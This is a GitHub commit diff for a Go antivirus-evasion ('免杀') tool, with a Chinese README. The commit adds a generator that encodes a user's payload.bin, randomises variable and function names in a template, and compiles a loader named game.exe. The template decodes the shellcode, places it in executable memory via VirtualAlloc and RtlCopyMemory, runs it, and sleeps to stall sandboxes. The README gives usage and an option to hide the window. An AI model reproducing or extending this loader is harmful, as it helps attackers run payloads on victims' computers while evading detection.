Skip to content

Commit c9c6c73

Browse files
committed
优化生成
1 parent aebfe2a commit c9c6c73

File tree

4 files changed

+126
-30
lines changed

4 files changed

+126
-30
lines changed

Diff for: README.md

+19-1
Original file line numberDiff line numberDiff line change
@@ -25,10 +25,28 @@ golang和c++有点不一样不需要考虑处理IAT。
2525
敏感操作可以分步进行,如申请内存先申请读写,再改成可以执行。不要一来就直接申请读写执行的内存。
2626

2727

28+
## 使用
29+
**只支持windows系统!!!!**
2830

31+
默认payload位置C:\\Users\\Administrator\\Desktop\\payload.bin
32+
执行下面命令,即可生成免杀(game.exe)
33+
```cmd
34+
指定payload
35+
main.exe payload.bin
2936
37+
不指定payload,直接运行即可
38+
main.exe
39+
```
40+
41+
42+
43+
## 更新
44+
45+
2021.8.29
46+
完善生成命令,不用手动改特征。已经支持全部动态生成,只需要指定payload即可生成免杀。
47+
源码在gen目录下面
48+
默认生成的是带弹窗,想不带弹窗,自行修改源码。
3049

31-
## 说明
3250

3351
2021.8.24
3452
直接用gen里面代码进行生成,演示视频已经放公众号,目前免杀已达目的更新会放缓。

Diff for: gen/main.go

+88-14
Original file line numberDiff line numberDiff line change
@@ -4,44 +4,118 @@ import (
44
"encoding/base64"
55
"fmt"
66
"io/ioutil"
7+
"math/rand"
78
"os"
9+
"os/exec"
810
"strings"
11+
"time"
912
)
1013

11-
var kkk = []byte{0x23, 0x32}
14+
var (
15+
key []byte
16+
keys string
17+
keyName string
18+
decodeName string
19+
genName string
20+
gd string
21+
bbdataName string
22+
shellCodeHex string
23+
bdata string
24+
)
25+
26+
func init() {
27+
//初始化key
28+
key = getKey()
29+
//key变量名
30+
keyName = randString(4)
31+
//解码方法名
32+
decodeName = randString(5)
33+
//生成exe方法名
34+
genName = randString(3)
35+
//混淆方法名
36+
gd = randString(6)
37+
38+
//base64变量
39+
bbdataName = randString(2)
40+
41+
shellCodeHex = randString(4)
42+
}
43+
44+
func getKey() []byte {
45+
keys = randString(2)
46+
b := []byte(keys)
47+
return b
48+
}
49+
50+
func randString(len int) string {
51+
r := rand.New(rand.NewSource(time.Now().Unix()))
52+
bytes := make([]byte, len)
53+
for i := 0; i < len; i++ {
54+
b := r.Intn(26) + 65
55+
bytes[i] = byte(b)
56+
}
57+
return string(bytes)
58+
}
1259

1360
func getEnCode(data []byte) string {
1461
bdata1 := base64.StdEncoding.EncodeToString(data)
1562
bydata1 := []byte(bdata1)
1663
var shellcode []byte
1764

1865
for i := 0; i < len(bydata1); i++ {
19-
shellcode = append(shellcode, bydata1[i]+kkk[0]-kkk[1])
66+
shellcode = append(shellcode, bydata1[i]+key[0]-key[1])
2067
}
2168
return base64.StdEncoding.EncodeToString(shellcode)
2269
}
2370

71+
func gen(code *string) {
72+
73+
*code = strings.ReplaceAll(*code, "$bdata", bdata)
74+
*code = strings.ReplaceAll(*code, "$bbdata", bbdataName)
75+
*code = strings.ReplaceAll(*code, "$keyName", keyName)
76+
*code = strings.ReplaceAll(*code, "$keys", keys)
77+
*code = strings.ReplaceAll(*code, "$shellCodeHex", shellCodeHex)
78+
*code = strings.ReplaceAll(*code, "$gd", gd)
79+
//*code=strings.ReplaceAll(*code, "$gdNum", ss)
80+
*code = strings.ReplaceAll(*code, "$genEXE", genName)
81+
*code = strings.ReplaceAll(*code, "$getDeCode", decodeName)
82+
83+
}
84+
2485
func main() {
2586

2687
path := "C:\\Users\\Administrator\\Desktop\\payload.bin"
2788
if len(os.Args) >= 2 {
2889
path = os.Args[1]
2990
}
3091
sc, _ := ioutil.ReadFile(path)
31-
bdata := getEnCode(sc)
32-
fmt.Println(bdata)
33-
ioutil.WriteFile("shellcode.txt", []byte(bdata), 0666)
34-
35-
tmpl, _ := ioutil.ReadFile("./genExe")
36-
92+
bdata = getEnCode(sc)
93+
fmt.Println("获取payload", "---->", path)
94+
//fmt.Println(bdata)
95+
time.Sleep(1 * time.Second)
96+
//ioutil.WriteFile("shellcode.txt", []byte(bdata), 0666)
97+
fmt.Println("解析shellcode模板")
98+
time.Sleep(1 * time.Second)
99+
tmpl, _ := ioutil.ReadFile("./template")
37100
code := string(tmpl)
101+
fmt.Println("生成shellcode")
102+
time.Sleep(1 * time.Second)
38103

39-
code = strings.ReplaceAll(code, "${bdata}", bdata)
40-
104+
gen(&code)
41105
ioutil.WriteFile("shellcode.go", []byte(code), 0666)
42-
//cmd := exec.Command("go", "build", "shellcode.go", "-ldflags=\"-s -w -H=windowsgui\"", "-o", "game.exe", "shellcode.go")
43-
//cmd:=exec.Command("go","build shellcode.go -ldflags=\"-s -w -H=windowsgui\" -o main2.exe shellcode.go")
44-
//cmd.Run()
45-
//os.Remove("shellcode.go")
106+
107+
fmt.Println("编译shellcode")
108+
time.Sleep(1 * time.Second)
109+
110+
cmd := exec.Command("cmd.exe", "/c", "go build -ldflags=-s -o game.exe ./shellcode.go")
111+
//隐藏窗口,如有需要自行替换
112+
//cmd:= exec.Command("cmd.exe","/c","go build -ldflags=-s -ldflags=-H=windowsgui -o game.exe ./shellcode.go")
113+
//阻塞至等待命令执行完成
114+
err1 := cmd.Run()
115+
if err1 != nil {
116+
panic(err1)
117+
}
118+
fmt.Println("game.exe")
119+
os.Remove("shellcode.go")
46120

47121
}

Diff for: gen/genExe renamed to gen/template

+18-15
Original file line numberDiff line numberDiff line change
@@ -13,9 +13,7 @@ const (
1313
PAGE_EXECUTE_READWRITE = 0x40
1414
)
1515

16-
var kk = []byte{0x23, 0x32}
17-
18-
16+
var $keyName []byte
1917

2018

2119
var (
@@ -25,25 +23,25 @@ var (
2523
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
2624
)
2725

28-
func getDeCode(string2 string) []byte {
26+
func $getDeCode(string2 string) []byte {
2927

3028
ss, _ := base64.StdEncoding.DecodeString(string2)
3129
string2 = string(ss)
32-
var shellcode []byte
30+
var code []byte
3331

3432
bydata := []byte(string2)
3533

3634
for i := 0; i < len(bydata); i++ {
37-
shellcode = append(shellcode, bydata[i]-kk[0]+kk[1])
35+
code = append(code, bydata[i]-$keyName[0]+$keyName[1])
3836
}
39-
ssb, _ := base64.StdEncoding.DecodeString(string(shellcode))
37+
ssb, _ := base64.StdEncoding.DecodeString(string(code))
4038
return ssb
4139

4240
}
4341

4442

4543

46-
func genEXE(charcode []byte) {
44+
func $genEXE(charcode []byte) {
4745

4846
addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
4947
if err != nil && err.Error() != "The operation completed successfully." {
@@ -57,19 +55,24 @@ func genEXE(charcode []byte) {
5755
syscall.Syscall(addr, 0, 0, 0, 0)
5856
}
5957

60-
func gd() int64 {
58+
func $gd() int {
6159
time.Sleep(time.Duration(2) * time.Second)
6260

63-
dd := time.Now().UTC().UnixNano()
64-
return dd + 123456
61+
dd := time.Now().UTC().Day()
62+
var num = 1
63+
for num <= 5 {
64+
num++
65+
}
66+
return dd + time.Now().Second()
6567

6668
}
6769

6870

6971

7072
func main() {
71-
bbdata := "${bdata}"
72-
shellCodeHex := getDeCode(bbdata)
73-
gd()
74-
genEXE(shellCodeHex)
73+
$bbdata := "$bdata"
74+
$keyName = []byte($keys)
75+
$shellCodeHex := $getDeCode($bbdata)
76+
$gd()
77+
$genEXE($shellCodeHex)
7578
}

Diff for: go.mod

+1
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ go 1.16
44

55
require (
66
github.com/fatih/color v1.12.0
7+
github.com/go-cmd/cmd v1.3.0
78
golang.org/x/crypto v0.0.0-20210817164053-32db794688a5
89
golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf
910
)

0 commit comments

Comments
 (0)